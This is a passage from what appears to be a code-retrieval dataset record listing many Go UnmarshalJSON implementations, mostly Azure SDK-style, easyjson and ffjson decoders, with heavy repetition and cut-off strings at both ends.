key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (n *NumberInAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", n, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &n.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &n.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &n.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", n, err)\n\t\t}\n\t}\n\treturn nil\n}","func (d *DelegatedSubnets) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &d.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &d.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t\t}\n\t}\n\treturn nil\n}","func Unflatten(flat map[string]interface{}) (nested map[string]interface{}, err error) {\n\tnested = make(map[string]interface{})\n\n\tfor k, v := range flat {\n\t\ttemp := uf(k, v).(map[string]interface{})\n\t\terr = mergo.Merge(&nested, temp)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\twalk(reflect.ValueOf(nested))\n\n\treturn\n}","func (j *Type) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *Element) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB83d7b77DecodeGoplaygroundMyjson2(&r, v)\n\treturn r.Error()\n}","func (s *ServiceCountryListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &s.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &s.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *ProductShrinkedArr) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels2(&r, v)\n\treturn r.Error()\n}","func (c *RelationshipDataContainer) UnmarshalJSON(payload []byte) error {\n\tif bytes.HasPrefix(payload, []byte(\"{\")) {\n\t\t// payload is an object\n\t\treturn json.Unmarshal(payload, &c.DataObject)\n\t}\n\n\tif bytes.HasPrefix(payload, []byte(\"[\")) {\n\t\t// payload is an array\n\t\treturn json.Unmarshal(payload, &c.DataArray)\n\t}\n\n\treturn errors.New(\"Invalid json for relationship data array/object\")\n}","func (s *SubnetListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &s.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &s.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (r *App) UnmarshalJSON(data []byte) error {\n\tout := make(CatsJSON)\n\te := json.Unmarshal(data, &out)\n\tif e != nil {\n\t\treturn e\n\t}\n\tfor i, x := range out {\n\t\tfor j, y := range x {\n\t\t\tR := r.Cats[i][j]\n\t\t\tif y.Value != nil {\n\t\t\t\tswitch R.Type {\n\t\t\t\tcase \"int\", \"port\":\n\t\t\t\t\ty.Value = int(y.Value.(float64))\n\t\t\t\tcase \"duration\":\n\t\t\t\t\ty.Value = time.Duration(int(y.Value.(float64)))\n\t\t\t\tcase \"stringslice\":\n\t\t\t\t\trt, ok := y.Value.([]string)\n\t\t\t\t\tro := []string{}\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tfor _, z := range rt {\n\t\t\t\t\t\t\tR.Validate(R, z)\n\t\t\t\t\t\t\tro = append(ro, z)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tR.Value.Put(ro)\n\t\t\t\t\t}\n\t\t\t\t\t// case \"float\":\n\t\t\t\t}\n\t\t\t}\n\t\t\tR.Validate(R, y.Value)\n\t\t\tR.Value.Put(y.Value)\n\t\t}\n\t}\n\treturn nil\n}","func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}","func (a *TemplateApply_Secrets) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (e *ExternalOptimizeForConfigV1) UnmarshalJSON(data []byte) error {\n\tunmarshal := func(v interface{}) error {\n\t\treturn json.Unmarshal(data, v)\n\t}\n\n\treturn e.unmarshalWith(unmarshal)\n}","func (a *AzureAsyncOperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *UsersHandler) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson84c0690eDecodeMainHandlers(&r, v)\n\treturn r.Error()\n}","func (t *Tags) UnmarshalJSON(data []byte) error {\n\tvar dst []string\n\tif err := json.Unmarshal(data, &dst); err != nil {\n\t\treturn err\n\t}\n\n\tif dst == nil {\n\t\treturn nil\n\t}\n\n\t*t = make(Tags, 0, len(dst))\n\tfor _, s := range dst {\n\t\tif s != \"\" {\n\t\t\t*t = append(*t, s)\n\t\t}\n\t}\n\n\treturn nil\n}","func (j *Message) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (d *DeploymentListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &d.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &d.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (jf *JsonnetFile) UnmarshalJSON(data []byte) error {\n\tvar s jsonFile\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\tjf.Dependencies = make(map[string]Dependency)\n\tfor _, d := range s.Dependencies {\n\t\tjf.Dependencies[d.Name] = d\n\t}\n\treturn nil\n}","func (j *Producer) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (u *rootInfoUnion) UnmarshalJSON(body []byte) error {\n\ttype wrap struct {\n\t\tdropbox.Tagged\n\t}\n\tvar w wrap\n\tvar err error\n\tif err = json.Unmarshal(body, &w); err != nil {\n\t\treturn err\n\t}\n\tu.Tag = w.Tag\n\tswitch u.Tag {\n\tcase \"team\":\n\t\tif err = json.Unmarshal(body, &u.Team); err != nil {\n\t\t\treturn err\n\t\t}\n\n\tcase \"user\":\n\t\tif err = json.Unmarshal(body, &u.User); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\treturn nil\n}","func (a *AzureWebCategoryListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *PostFull) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComMailcoursesTechnoparkDbmsForumGeneratedModels7(&r, v)\n\treturn r.Error()\n}","func (t *TestAllRoutesInput) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"message\":\n\t\t\terr = unpopulate(val, \"Message\", &t.Message)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"routingSource\":\n\t\t\terr = unpopulate(val, \"RoutingSource\", &t.RoutingSource)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"twin\":\n\t\t\terr = unpopulate(val, \"Twin\", &t.Twin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func unmarshal() {\n\tfmt.Println(\"=== json.unmarshal ===\")\n\tvar jsonBlob = []byte(`[\n\t\t{\"name\": \"Bill\", \"age\": 109},\n\t\t{\"name\": \"Bob\", \"age\": 5}\n\t]`)\n\n\tvar persons []Person\n\terr := json.Unmarshal(jsonBlob, &persons)\n\tcheck(err)\n\n\tfmt.Printf(\"%+v\\n\", persons)\n}","func (v *BlitzedItemResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark4(&r, v)\n\treturn r.Error()\n}","func (r *ResourceSKUListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &r.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &r.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", r, err)\n\t\t}\n\t}\n\treturn nil\n}","func (mr *MergeRequest) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar mergeProperties MergeProperties\n\t\t\t\terr = json.Unmarshal(*v, &mergeProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tmr.MergeProperties = &mergeProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (v *nestedQuery) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson390b7126DecodeGithubComChancedPicker17(&r, v)\n\treturn r.Error()\n}","func (j *Response) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (boot *Boot) UnmarshalJSON(b []byte) error {\n\ttype temp Boot\n\tvar t struct {\n\t\ttemp\n\t\tBootOptions common.Link\n\t\tCertificates common.Link\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*boot = Boot(t.temp)\n\n\t// Extract the links to other entities for later\n\tboot.bootOptions = t.BootOptions.String()\n\tboot.certificates = t.Certificates.String()\n\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (s *ServiceTagInformationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &s.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &s.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<>\n}","func (v *ExtFilter) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson795c59c6DecodeGrapeGuardRules11(&r, v)\n\treturn r.Error()\n}","func (v *ItemCheckResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark2(&r, v)\n\treturn r.Error()\n}","func (j *ForceSettlementOrder) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}"],"string":"[\n \"func (v *flattenedField) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson390b7126DecodeGithubComChancedPicker35(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func unmarshalJSON(j extv1.JSON, output *any) error {\\n\\tif len(j.Raw) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\treturn json.Unmarshal(j.Raw, output)\\n}\",\n \"func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &f.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &f.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *TenantListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &t.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &t.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *TransformCollection) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"@odata.nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ODataNextLink\\\", &t.ODataNextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &t.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func UnmarshalFromJSON(data []byte, target interface{}) error {\\n\\tvar ctx map[string]interface{}\\n\\terr := json.Unmarshal(data, &ctx)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn Unmarshal(ctx, target)\\n}\",\n \"func (v *IngredientArr) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels7(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *VisitArray) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (agg *aggregationInfo) UnmarshalJSON(b []byte) error {\\n\\ttype aggregationRequestX aggregationInfo // prevent recursion\\n\\tvar temp aggregationRequestX\\n\\n\\tif err := json.Unmarshal(b, &temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*agg = aggregationInfo(temp)\\n\\tagg.AggregationProps = map[string]interface{}{}\\n\\n\\t// Capture aggregation type and body as mentioned in docs here:\\n\\t// https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations.html#_structuring_aggregations\\n\\tvar aggregationBody map[string]map[string]interface{}\\n\\tif err := json.Unmarshal(b, &aggregationBody); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Based on elasticsearch, the underlying assumption made by this loop is that\\n\\t// aggregationBody will always only contain a map between the type of aggregation\\n\\t// to the aggregation body\\n\\tfor k, v := range aggregationBody {\\n\\t\\t// These fields have special meaning in the request and this loop does not care about them\\n\\t\\tif k == \\\"aggs\\\" || k == \\\"meta\\\" || k == \\\"aggregations\\\" {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tagg.AggregationProps[k] = v\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *OperationsDefinitionArrayResponseWithContinuation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (u *Unstructured) UnmarshalJSON(b []byte) error {\\n\\t_, _, err := UnstructuredJSONScheme.Decode(b, nil, u)\\n\\treturn err\\n}\",\n \"func (j *ThirdParty) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *Ingredient) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels8(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Data) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *OneLike) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\tdecodeOneLike(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (o *OperationEntityListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", 